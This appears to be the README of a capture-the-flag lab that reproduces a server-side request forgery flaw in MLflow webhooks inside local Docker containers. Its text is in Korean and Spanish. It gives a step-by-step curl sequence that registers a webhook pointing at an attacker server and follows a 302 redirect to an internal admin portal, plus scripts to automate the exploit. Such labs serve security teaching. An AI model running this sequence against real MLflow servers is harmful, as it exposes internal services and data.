host                                   red interna de Docker (lab_network)
┌──────────────────────────────┐   ┌────────────────────────────────────────────────┐
│  atacante (curl / bash)      │   │                                                │
│       │                      │   │   mlflow-vulnerable      attacker_server       │
│       ▼                      │   │   (5000, MLflow 3.13.0)  (8080, responder 302) │
│ http://localhost:5000        │   │        │  webhook URL         ▲                │
│ http://localhost:8080        │   │        ▼───────────────────────┘                │
│ http://localhost:8888 ✗      │   │        │ 302 Location: internal-service         │
│                              │   │        ▼  (SSRF, sigue el redirect)            │
│                              │   │   internal-service (8888)   ← SIN puertos al   │
│                              │   │        "/admin/secret"           host          │
│                              │   └───────────────────────────────────────────────┘
└──────────────────────────────┘

cd mlflow-ssrf-lab
bash run_lab.sh start      # 3개 컨테이너를 시작하고 MLflow를 기다립니다
bash run_lab.sh exploit    # 자동 익스플로잇(SSRF → 레벨 1 플래그)

bash manual_exploitation_interactive.sh

bash ctf_lab.sh            # CTF 대화형 메뉴
bash ctf_lab.sh nivel 1    # 레벨 지침 + 힌트(직접 실행할 명령)
bash ctf_lab.sh flag '<flag>'   # 유출 및 디코딩한 플래그 검증(+점수)
bash ctf_lab.sh status     # 완료된 레벨 + 점수(235점, 플래그 표시 안 함)
bash ctf_lab.sh hint 2     # 레벨 힌트
bash ctf_lab.sh reset      # 진행 상황 삭제

bash run_lab.sh start     # start(기본값) + 상태 엔드포인트
bash run_lab.sh exploit   # mlflow 컨테이너 내부에서 exploit.py 실행
bash run_lab.sh manual    # 단계별 curl 명령 표시
bash run_lab.sh logs      # 실시간 로그 추적
bash run_lab.sh stop      # 컨테이너 중지
bash run_lab.sh clean     # 랩 데이터 중지 및 삭제

# 1. 공격자 서버를 가리키는 웹훅 생성(내부 포털 루트로 리디렉션, 레벨 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
  -H "Content-Type: application/json" \
  -d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
  | jq -r '.webhook.webhook_id')

# 2. /test 트리거 → MLflow가 URL을 검증하고 내부 서비스까지 302를 따릅니다
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}'

# 3. 유출된 데이터 추출(result.response_body에 중첩됨)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}' \
  | jq -r '.result.response_body | fromjson'

{
  "service": "internal-admin-portal",
  "banner": "내부 관리 포털 — 내부 네트워크에서만 접근 가능",
  "nivel": 1,
  "flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
  "flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
  "pista": "포털은 /admin/ 및 /api/ 아래에 리소스를 노출합니다. 관리자 자격 증명을 찾으세요."
}

CVE-2026-29000-poc-lab/
├── README.md                          ← 이 파일(랩 색인 / 표지)
├── REDTEAM_GUIDE.md                   ← 레드팀 방식 수동 연습: 정찰 → 가설 → 익스플로잇
├── EXPLOITATION_GUIDE.md              ← 전체 랩 절차(SSRF, 변형, 무결성)
├── manual_exploitation_interactive.sh ← 단계별 대화형 데모(메뉴)
└── mlflow-ssrf-lab/                   ← 랩 코드 및 오케스트레이션
    ├── docker-compose.yml             ← 3개 컨테이너(mlflow, attacker, internal)
    ├── exploit.py                     ← 자동 익스플로잇(컨테이너 내부에서 실행)
    ├── attacker_server.py             ← 공격자 서버(구성 가능한 302)
    ├── internal_service.py            ← "보호된" 내부 서비스(포털 8888 + 숨겨진 서비스 8889)
    ├── ctf_lab.sh                     ← CTF 수동 가이드(지침 + 힌트 + 플래그 검증기)
    ├── run_lab.sh                     ← start / exploit / manual / logs / stop / clean
    └── mlflow_data/                   ← 생성된 데이터(sqlite DB, 아티팩트)